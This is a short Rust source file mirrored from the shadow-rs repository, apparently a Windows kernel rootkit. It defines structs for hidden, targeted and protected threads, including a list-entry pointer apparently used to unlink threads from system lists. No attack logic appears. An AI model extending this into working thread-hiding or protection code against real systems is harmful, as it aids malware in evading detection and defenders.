mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2025-12-18 07:44:25 +01:00
34 lines
638 B
Rust
34 lines
638 B
Rust
use core::sync::atomic::AtomicPtr;
|
|
use super::LIST_ENTRY;
|
|
|
|
// Structure that stores the values of the process that has been hidden
|
|
#[repr(C)]
|
|
#[derive(Debug)]
|
|
pub struct HiddenThreadInfo {
|
|
pub tid: usize,
|
|
pub list_entry: AtomicPtr<LIST_ENTRY>
|
|
}
|
|
|
|
// Stores the target thread
|
|
#[repr(C)]
|
|
#[derive(Debug, Default)]
|
|
pub struct TargetThread {
|
|
pub tid: usize,
|
|
pub enable: bool,
|
|
}
|
|
|
|
// Stores thread information
|
|
#[repr(C)]
|
|
#[derive(Debug)]
|
|
pub struct ThreadListInfo {
|
|
pub tids: usize,
|
|
}
|
|
|
|
// Stores the thread to be protected
|
|
#[repr(C)]
|
|
#[derive(Debug)]
|
|
pub struct ThreadProtection {
|
|
pub tid: usize,
|
|
pub enable: bool
|
|
}
|